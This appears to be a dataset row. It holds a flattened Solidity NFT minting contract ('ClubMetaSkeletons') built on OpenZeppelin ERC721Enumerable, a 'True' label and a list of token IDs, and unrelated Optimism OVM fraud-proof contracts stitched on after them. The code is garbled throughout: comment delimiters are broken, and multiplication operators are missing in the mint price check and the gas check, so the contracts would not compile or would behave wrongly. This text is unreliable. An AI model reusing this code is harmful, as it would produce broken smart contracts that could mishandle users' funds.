IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /* * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. / abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. / function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /* * @dev See {IERC721Enumerable-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /* * @dev See {IERC721Enumerable-tokenByIndex}. / function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /* * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /* * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address / function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /* * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list / function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /* * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address / function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /* * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list / function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: contracts/Nft_test.sol pragma solidity >=0.7.0 <0.9.0; contract ClubMetaSkeletons is ERC721Enumerable, Ownable { using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public cost = 0.069 ether; uint256 public whiteListCost = 0.05 ether; uint256 public maxSupply = 2222; uint256 public maxMintAmount = 3; uint256 public nftPerAddressLimit = 5; bool public paused = false; bool public revealed = false; bool public whitelistOnly = true; mapping(address => uint256) public addressMintedBalance; bytes32 public whitelistMerkleRoot; ////////////////// constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require( _mintAmount <= maxMintAmount, "max mint amount per session exceeded" ); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); require(whitelistOnly == false, "Whitelist only"); if (msg.sender != owner()) { uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(msg.value >= cost _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } modifier isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) { bytes32 sender = keccak256(abi.encodePacked(msg.sender)); require( MerkleProof.verify( merkleProof, root, sender ), "Address does not exist in list" ); _; } function mintWhitelist(bytes32[] calldata merkleProof, uint256 _mintAmount) public payable isValidMerkleProof(merkleProof, whitelistMerkleRoot) { require(!paused, "the contract is paused"); uint256 supply = totalSupply(); require(_mintAmount > 0, "need to mint at least 1 NFT"); require( _mintAmount <= maxMintAmount, "max mint amount per session exceeded"); require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded"); require(whitelistOnly == true, "whitelist is turned off"); if (msg.sender != owner()) { uint256 ownerMintedCount = addressMintedBalance[msg.sender]; require(ownerMintedCount + _mintAmount <= nftPerAddressLimit, "max NFT per address exceeded"); require(msg.value >= whiteListCost * _mintAmount, "insufficient funds"); } for (uint256 i = 1; i <= _mintAmount; i++) { addressMintedBalance[msg.sender]++; _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if (revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } //only owner function reveal() public onlyOwner { revealed = true; } function setNftPerAddressLimit(uint256 _limit) public onlyOwner { nftPerAddressLimit = _limit; } function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setWhitelistCost(uint256 _newCost) public onlyOwner { whiteListCost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { notRevealedUri = _notRevealedURI; } function pause(bool _state) public onlyOwner { paused = _state; } function setWhitelistMerkleRoot(bytes32 merkleRoot) public onlyOwner { whitelistMerkleRoot = merkleRoot; } function setWhitelistOnly(bool _state) public onlyOwner { whitelistOnly = _state; } function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1006, 2197, 7172, 1058, 2549, 1012, 1019, 1012, 1014, 1007, 1006, 21183, 12146, 1013, 19888, 9888, 1013, 21442, 19099, 18907, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2122, 4972, 3066, 2007, 22616, 1997, 21442, 19099, 3628, 6947, 2015, 1012, 1008, 1008, 1996, 6947, 2015, 2064, 2022, 7013, 2478, 1996, 9262, 22483, 3075, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 8374, 18938, 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// SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; import { iOVM_BondManager } from "../../iOVM/verification/iOVM_BondManager.sol"; import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol"; /// Minimal contract to be inherited by contracts consumed by users that provide /// data for fraud proofs abstract contract Abs_FraudContributor is Lib_AddressResolver { /// Decorate your functions with this modifier to store how much total gas was /// consumed by the sender, to reward users fairly modifier contributesToFraudProof(bytes32 preStateRoot, bytes32 txHash) { uint256 startGas = gasleft(); _; uint256 gasSpent = startGas - gasleft(); iOVM_BondManager(resolve('OVM_BondManager')).recordGasSpent(preStateRoot, txHash, msg.sender, gasSpent); } } // SPDX-License-Identifier: MIT // @unsupported: ovm pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; /* Library Imports / import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol"; import { Lib_EthUtils } from "../../libraries/utils/Lib_EthUtils.sol"; import { Lib_Bytes32Utils } from "../../libraries/utils/Lib_Bytes32Utils.sol"; import { Lib_BytesUtils } from "../../libraries/utils/Lib_BytesUtils.sol"; import { Lib_SecureMerkleTrie } from "../../libraries/trie/Lib_SecureMerkleTrie.sol"; import { Lib_RLPWriter } from "../../libraries/rlp/Lib_RLPWriter.sol"; import { Lib_RLPReader } from "../../libraries/rlp/Lib_RLPReader.sol"; / Interface Imports / import { iOVM_StateTransitioner } from "../../iOVM/verification/iOVM_StateTransitioner.sol"; import { iOVM_BondManager } from "../../iOVM/verification/iOVM_BondManager.sol"; import { iOVM_ExecutionManager } from "../../iOVM/execution/iOVM_ExecutionManager.sol"; import { iOVM_StateManager } from "../../iOVM/execution/iOVM_StateManager.sol"; import { iOVM_StateManagerFactory } from "../../iOVM/execution/iOVM_StateManagerFactory.sol"; / Contract Imports / import { Abs_FraudContributor } from "./Abs_FraudContributor.sol"; /* * @title OVM_StateTransitioner * @dev The State Transitioner coordinates the execution of a state transition during the evaluation of a * fraud proof. It feeds verified input to the Execution Manager's run(), and controls a State Manager (which is * uniquely created for each fraud proof). * Once a fraud proof has been initialized, this contract is provided with the pre-state root and verifies * that the OVM storage slots committed to the State Mangager are contained in that state * This contract controls the State Manager and Execution Manager, and uses them to calculate the * post-state root by applying the transaction. The Fraud Verifier can then check for fraud by comparing * the calculated post-state root with the proposed post-state root. * * Compiler used: solc * Runtime target: EVM / contract OVM_StateTransitioner is Lib_AddressResolver, Abs_FraudContributor, iOVM_StateTransitioner { /****************** * Data Structures * *****************/ enum TransitionPhase { PRE_EXECUTION, POST_EXECUTION, COMPLETE } /***************************************** * Contract Variables: Contract References * *****************************************/ iOVM_StateManager public ovmStateManager; /***************************************** * Contract Variables: Internal Accounting * *****************************************/ bytes32 internal preStateRoot; bytes32 internal postStateRoot; TransitionPhase public phase; uint256 internal stateTransitionIndex; bytes32 internal transactionHash; /*********** * Constants * ***********/ bytes32 internal constant EMPTY_ACCOUNT_CODE_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; bytes32 internal constant EMPTY_ACCOUNT_STORAGE_ROOT = 0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421; /************* * Constructor * *************/ / * @param _libAddressManager Address of the Address Manager. * @param _stateTransitionIndex Index of the state transition being verified. * @param _preStateRoot State root before the transition was executed. * @param _transactionHash Hash of the executed transaction. / constructor( address _libAddressManager, uint256 _stateTransitionIndex, bytes32 _preStateRoot, bytes32 _transactionHash ) Lib_AddressResolver(_libAddressManager) { stateTransitionIndex = _stateTransitionIndex; preStateRoot = _preStateRoot; postStateRoot = _preStateRoot; transactionHash = _transactionHash; ovmStateManager = iOVM_StateManagerFactory(resolve("OVM_StateManagerFactory")).create(address(this)); } /********************* * Function Modifiers * ********************/ / * Checks that a function is only run during a specific phase. * @param _phase Phase the function must run within. / modifier onlyDuringPhase( TransitionPhase _phase ) { require( phase == _phase, "Function must be called during the correct phase." ); _; } /********************************* * Public Functions: State Access * ********************************/ / * Retrieves the state root before execution. * @return _preStateRoot State root before execution. / function getPreStateRoot() override public view returns ( bytes32 _preStateRoot ) { return preStateRoot; } /* * Retrieves the state root after execution. * @return _postStateRoot State root after execution. / function getPostStateRoot() override public view returns ( bytes32 _postStateRoot ) { return postStateRoot; } /* * Checks whether the transitioner is complete. * @return _complete Whether or not the transition process is finished. / function isComplete() override public view returns ( bool _complete ) { return phase == TransitionPhase.COMPLETE; } /********************************** * Public Functions: Pre-Execution * *********************************/ / * Allows a user to prove the initial state of a contract. * @param _ovmContractAddress Address of the contract on the OVM. * @param _ethContractAddress Address of the corresponding contract on L1. * @param _stateTrieWitness Proof of the account state. / function proveContractState( address _ovmContractAddress, address _ethContractAddress, bytes memory _stateTrieWitness ) override public onlyDuringPhase(TransitionPhase.PRE_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { // Exit quickly to avoid unnecessary work. require( ( ovmStateManager.hasAccount(_ovmContractAddress) == false && ovmStateManager.hasEmptyAccount(_ovmContractAddress) == false ), "Account state has already been proven." ); // Function will fail if the proof is not a valid inclusion or exclusion proof. ( bool exists, bytes memory encodedAccount ) = Lib_SecureMerkleTrie.get( abi.encodePacked(_ovmContractAddress), _stateTrieWitness, preStateRoot ); if (exists == true) { // Account exists, this was an inclusion proof. Lib_OVMCodec.EVMAccount memory account = Lib_OVMCodec.decodeEVMAccount( encodedAccount ); address ethContractAddress = _ethContractAddress; if (account.codeHash == EMPTY_ACCOUNT_CODE_HASH) { // Use a known empty contract to prevent an attack in which a user provides a // contract address here and then later deploys code to it. ethContractAddress = 0x0000000000000000000000000000000000000000; } else { // Otherwise, make sure that the code at the provided eth address matches the hash // of the code stored on L2. require( Lib_EthUtils.getCodeHash(ethContractAddress) == account.codeHash, "OVM_StateTransitioner: Provided L1 contract code hash does not match L2 contract code hash." ); } ovmStateManager.putAccount( _ovmContractAddress, Lib_OVMCodec.Account({ nonce: account.nonce, balance: account.balance, storageRoot: account.storageRoot, codeHash: account.codeHash, ethAddress: ethContractAddress, isFresh: false }) ); } else { // Account does not exist, this was an exclusion proof. ovmStateManager.putEmptyAccount(_ovmContractAddress); } } /* * Allows a user to prove the initial state of a contract storage slot. * @param _ovmContractAddress Address of the contract on the OVM. * @param _key Claimed account slot key. * @param _storageTrieWitness Proof of the storage slot. / function proveStorageSlot( address _ovmContractAddress, bytes32 _key, bytes memory _storageTrieWitness ) override public onlyDuringPhase(TransitionPhase.PRE_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { // Exit quickly to avoid unnecessary work. require( ovmStateManager.hasContractStorage(_ovmContractAddress, _key) == false, "Storage slot has already been proven." ); require( ovmStateManager.hasAccount(_ovmContractAddress) == true, "Contract must be verified before proving a storage slot." ); bytes32 storageRoot = ovmStateManager.getAccountStorageRoot(_ovmContractAddress); bytes32 value; if (storageRoot == EMPTY_ACCOUNT_STORAGE_ROOT) { // Storage trie was empty, so the user is always allowed to insert zero-byte values. value = bytes32(0); } else { // Function will fail if the proof is not a valid inclusion or exclusion proof. ( bool exists, bytes memory encodedValue ) = Lib_SecureMerkleTrie.get( abi.encodePacked(_key), _storageTrieWitness, storageRoot ); if (exists == true) { // Inclusion proof. // Stored values are RLP encoded, with leading zeros removed. value = Lib_BytesUtils.toBytes32PadLeft( Lib_RLPReader.readBytes(encodedValue) ); } else { // Exclusion proof, can only be zero bytes. value = bytes32(0); } } ovmStateManager.putContractStorage( _ovmContractAddress, _key, value ); } /****************************** * Public Functions: Execution * *****************************/ / * Executes the state transition. * @param _transaction OVM transaction to execute. / function applyTransaction( Lib_OVMCodec.Transaction memory _transaction ) override public onlyDuringPhase(TransitionPhase.PRE_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { require( Lib_OVMCodec.hashTransaction(_transaction) == transactionHash, "Invalid transaction provided." ); // We require gas to complete the logic here in run() before/after execution, // But must ensure the full _tx.gasLimit can be given to the ovmCALL (determinism) // This includes 1/64 of the gas getting lost because of EIP-150 (lost twice--first // going into EM, then going into the code contract). require( gasleft() >= 100000 + _transaction.gasLimit 1032 / 1000, // 1032/1000 = 1.032 = (64/63)^2 rounded up "Not enough gas to execute transaction deterministically." ); iOVM_ExecutionManager ovmExecutionManager = iOVM_ExecutionManager(resolve("OVM_ExecutionManager")); // We call `setExecutionManager` right before `run` (and not earlier) just in case the // OVM_ExecutionManager address was updated between the time when this contract was created // and when `applyTransaction` was called. ovmStateManager.setExecutionManager(address(ovmExecutionManager)); // `run` always succeeds unless the user hasn't provided enough gas to `applyTransaction` // or an INVALID_STATE_ACCESS flag was triggered. Either way, we won't get beyond this line // if that's the case. ovmExecutionManager.run(_transaction, address(ovmStateManager)); // Prevent the Execution Manager from calling this SM again. ovmStateManager.setExecutionManager(address(0)); phase = TransitionPhase.POST_EXECUTION; } /************************************ * Public Functions: Post-Execution * **********************************/ / * Allows a user to commit the final state of a contract. * @param _ovmContractAddress Address of the contract on the OVM. * @param _stateTrieWitness Proof of the account state. / function commitContractState( address _ovmContractAddress, bytes memory _stateTrieWitness ) override public onlyDuringPhase(TransitionPhase.POST_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { require( ovmStateManager.getTotalUncommittedContractStorage() == 0, "All storage must be committed before committing account states." ); require ( ovmStateManager.commitAccount(_ovmContractAddress) == true, "Account state wasn't changed or has already been committed." ); Lib_OVMCodec.Account memory account = ovmStateManager.getAccount(_ovmContractAddress); postStateRoot = Lib_SecureMerkleTrie.update( abi.encodePacked(_ovmContractAddress), Lib_OVMCodec.encodeEVMAccount( Lib_OVMCodec.toEVMAccount(account) ), _stateTrieWitness, postStateRoot ); // Emit an event to help clients figure out the proof ordering. emit AccountCommitted( _ovmContractAddress ); } /* * Allows a user to commit the final state of a contract storage slot. * @param _ovmContractAddress Address of the contract on the OVM. * @param _key Claimed account slot key. * @param _storageTrieWitness Proof of the storage slot. / function commitStorageSlot( address _ovmContractAddress, bytes32 _key, bytes memory _storageTrieWitness ) override public onlyDuringPhase(TransitionPhase.POST_EXECUTION) contributesToFraudProof(preStateRoot, transactionHash) { require( ovmStateManager.commitContractStorage(_ovmContractAddress, _key) == true, "Storage slot value wasn't changed or has already been committed." ); Lib_OVMCodec.Account memory account = ovmStateManager.getAccount(_ovmContractAddress); bytes32 value = ovmStateManager.getContractStorage(_ovmContractAddress, _key); account.storageRoot = Lib_SecureMerkleTrie.update( abi.encodePacked(_key), Lib_RLPWriter.writeBytes( Lib_Bytes32Utils.removeLeadingZeros(value) ), _storageTrieWitness, account.storageRoot ); ovmStateManager.putAccount(_ovmContractAddress, account); // Emit an event to help clients figure out the proof ordering. emit ContractStorageCommitted( _ovmContractAddress, _key ); } /********************************* * Public Functions: Finalization * ********************************/ / * Finalizes the transition process. / function completeTransition() override public onlyDuringPhase(TransitionPhase.POST_EXECUTION) { require( ovmStateManager.getTotalUncommittedAccounts() == 0, "All accounts must be committed before completing a transition." ); require( ovmStateManager.getTotalUncommittedContractStorage() == 0, "All storage must be committed before completing a transition." ); phase = TransitionPhase.COMPLETE; } } // SPDX-License-Identifier: MIT // @unsupported: ovm pragma solidity >0.5.0 <0.8.0; / Library Imports / import { Lib_AddressResolver } from "../../libraries/resolver/Lib_AddressResolver.sol"; / Interface Imports / import { iOVM_StateTransitioner } from "../../iOVM/verification/iOVM_StateTransitioner.sol"; import { iOVM_StateTransitionerFactory } from "../../iOVM/verification/iOVM_StateTransitionerFactory.sol"; import { iOVM_FraudVerifier } from "../../iOVM/verification/iOVM_FraudVerifier.sol"; / Contract Imports / import { OVM_StateTransitioner } from "./OVM_StateTransitioner.sol"; /* * @title OVM_StateTransitionerFactory * @dev The State Transitioner Factory is used by the Fraud Verifier to create a new State * Transitioner during the initialization of a fraud proof. * * Compiler used: solc * Runtime target: EVM / contract OVM_StateTransitionerFactory is iOVM_StateTransitionerFactory, Lib_AddressResolver { /************** * Constructor * *************/ constructor( address _libAddressManager ) Lib_AddressResolver(_libAddressManager) {} /****************** * Public Functions * ******************/ / * Creates a new OVM_StateTransitioner * @param _libAddressManager Address of the Address Manager. * @param _stateTransitionIndex Index of the state transition being verified. * @param _preStateRoot State root before the transition was executed. * @param _transactionHash Hash of the executed transaction. * @return New OVM_StateTransitioner instance. / function create( address _libAddressManager, uint256 _stateTransitionIndex, bytes32 _preStateRoot, bytes32 _transactionHash ) override public returns ( iOVM_StateTransitioner ) { require( msg.sender == resolve("OVM_FraudVerifier"), "Create can only be done by the OVM_FraudVerifier." ); return new OVM_StateTransitioner( _libAddressManager, _stateTransitionIndex, _preStateRoot, _transactionHash ); } } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; / Library Imports / import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; interface iOVM_ExecutionManager { /********* * Enums * *******/ enum RevertFlag { OUT_OF_GAS, INTENTIONAL_REVERT, EXCEEDS_NUISANCE_GAS, INVALID_STATE_ACCESS, UNSAFE_BYTECODE, CREATE_COLLISION, STATIC_VIOLATION, CREATOR_NOT_ALLOWED } enum GasMetadataKey { CURRENT_EPOCH_START_TIMESTAMP, CUMULATIVE_SEQUENCER_QUEUE_GAS, CUMULATIVE_L1TOL2_QUEUE_GAS, PREV_EPOCH_SEQUENCER_QUEUE_GAS, PREV_EPOCH_L1TOL2_QUEUE_GAS } /********* * Structs * *********/ struct GasMeterConfig { uint256 minTransactionGasLimit; uint256 maxTransactionGasLimit; uint256 maxGasPerQueuePerEpoch; uint256 secondsPerEpoch; } struct GlobalContext { uint256 ovmCHAINID; } struct TransactionContext { Lib_OVMCodec.QueueOrigin ovmL1QUEUEORIGIN; uint256 ovmTIMESTAMP; uint256 ovmNUMBER; uint256 ovmGASLIMIT; uint256 ovmTXGASLIMIT; address ovmL1TXORIGIN; } struct TransactionRecord { uint256 ovmGasRefund; } struct MessageContext { address ovmCALLER; address ovmADDRESS; bool isStatic; } struct MessageRecord { uint256 nuisanceGasLeft; } /********************************** * Transaction Execution Entrypoint * **********************************/ function run( Lib_OVMCodec.Transaction calldata _transaction, address _txStateManager ) external; /***************** * Context Opcodes * *****************/ function ovmCALLER() external view returns (address _caller); function ovmADDRESS() external view returns (address _address); function ovmTIMESTAMP() external view returns (uint256 _timestamp); function ovmNUMBER() external view returns (uint256 _number); function ovmGASLIMIT() external view returns (uint256 _gasLimit); function ovmCHAINID() external view returns (uint256 _chainId); /******************** * L2 Context Opcodes * ********************/ function ovmL1QUEUEORIGIN() external view returns (Lib_OVMCodec.QueueOrigin _queueOrigin); function ovmL1TXORIGIN() external view returns (address _l1TxOrigin); /***************** * Halting Opcodes * *****************/ function ovmREVERT(bytes memory _data) external; /*************************** * Contract Creation Opcodes * ***************************/ function ovmCREATE(bytes memory _bytecode) external returns (address _contract, bytes memory _revertdata); function ovmCREATE2(bytes memory _bytecode, bytes32 _salt) external returns (address _contract, bytes memory _revertdata); /***************************** * Account Abstraction Opcodes * ****************************/ function ovmGETNONCE() external returns (uint256 _nonce); function ovmINCREMENTNONCE() external; function ovmCREATEEOA(bytes32 _messageHash, uint8 _v, bytes32 _r, bytes32 _s) external; /************************** * Contract Calling Opcodes * **************************/ function ovmCALL(uint256 _gasLimit, address _address, bytes memory _calldata) external returns (bool _success, bytes memory _returndata); function ovmSTATICCALL(uint256 _gasLimit, address _address, bytes memory _calldata) external returns (bool _success, bytes memory _returndata); function ovmDELEGATECALL(uint256 _gasLimit, address _address, bytes memory _calldata) external returns (bool _success, bytes memory _returndata); /************************** * Contract Storage Opcodes * **************************/ function ovmSLOAD(bytes32 _key) external returns (bytes32 _value); function ovmSSTORE(bytes32 _key, bytes32 _value) external; /*********************** * Contract Code Opcodes * ***********************/ function ovmEXTCODECOPY(address _contract, uint256 _offset, uint256 _length) external returns (bytes memory _code); function ovmEXTCODESIZE(address _contract) external returns (uint256 _size); function ovmEXTCODEHASH(address _contract) external returns (bytes32 _hash); /************************************* * Public Functions: Execution Context * **************************************/ function getMaxTransactionGasLimit() external view returns (uint _maxTransactionGasLimit); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; pragma experimental ABIEncoderV2; / Library Imports / import { Lib_OVMCodec } from "../../libraries/codec/Lib_OVMCodec.sol"; /* * @title iOVM_StateManager / interface iOVM_StateManager { /****************** * Data Structures * *****************/ enum ItemState { ITEM_UNTOUCHED, ITEM_LOADED, ITEM_CHANGED, ITEM_COMMITTED } /************************* * Public Functions: Misc * *************************/ function isAuthenticated(address _address) external view returns (bool); /************************* * Public Functions: Setup * *************************/ function owner() external view returns (address _owner); function ovmExecutionManager() external view returns (address _ovmExecutionManager); function setExecutionManager(address _ovmExecutionManager) external; /********************************** * Public Functions: Account Access * **********************************/ function putAccount(address _address, Lib_OVMCodec.Account memory _account) external; function putEmptyAccount(address _address) external; function getAccount(address _address) external view returns (Lib_OVMCodec.Account memory _account); function hasAccount(address _address) external view returns (bool _exists); function hasEmptyAccount(address _address) external view returns (bool _exists); function setAccountNonce(address _address, uint256 _nonce) external; function getAccountNonce(address _address) external view returns (uint256 _nonce); function getAccountEthAddress(address _address) external view returns (address _ethAddress); function getAccountStorageRoot(address _address) external view returns (bytes32 _storageRoot); function initPendingAccount(address _address) external; function commitPendingAccount(address _address, address _ethAddress, bytes32 _codeHash) external; function testAndSetAccountLoaded(address _address) external returns (bool _wasAccountAlreadyLoaded); function testAndSetAccountChanged(address _address) external returns (bool _wasAccountAlreadyChanged); function commitAccount(address _address) external returns (bool _wasAccountCommitted); function incrementTotalUncommittedAccounts() external; function getTotalUncommittedAccounts() external view returns (uint256 _total); function wasAccountChanged(address _address) external view returns (bool); function wasAccountCommitted(address _address) external view returns (bool); /********************************** * Public Functions: Storage Access * ***********************************/ function putContractStorage(address _contract, bytes32 _key, bytes32 _value) external; function getContractStorage(address _contract, bytes32 _key) external view returns (bytes32 _value); function hasContractStorage(address _contract, bytes32 _key) external view returns (bool _exists); function testAndSetContractStorageLoaded(address _contract, bytes32 _key) external returns (bool _wasContractStorageAlreadyLoaded); function testAndSetContractStorageChanged(address _contract, bytes32 _key) external returns (bool _wasContractStorageAlreadyChanged); function commitContractStorage(address _contract, bytes32 _key) external returns (bool _wasContractStorageCommitted); function incrementTotalUncommittedContractStorage() external; function getTotalUncommittedContractStorage() external view returns (uint256 _total); function wasContractStorageChanged(address _contract, bytes32 _key) external view returns (bool); function wasContractStorageCommitted(address _contract, bytes32 _key) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >0.5.0 <0.8.0; / Contract Imports / import { iOVM_StateManager } from "./iOVM_StateManager.sol"; /* * @title iOVM_StateManagerFactory / interface iOVM_StateManagerFactory { /************************************** * Public Functions: Contract Creation * *************************************/ function create( address _owner ) external returns ( iOVM_StateManager _ovmStateManager ); } // 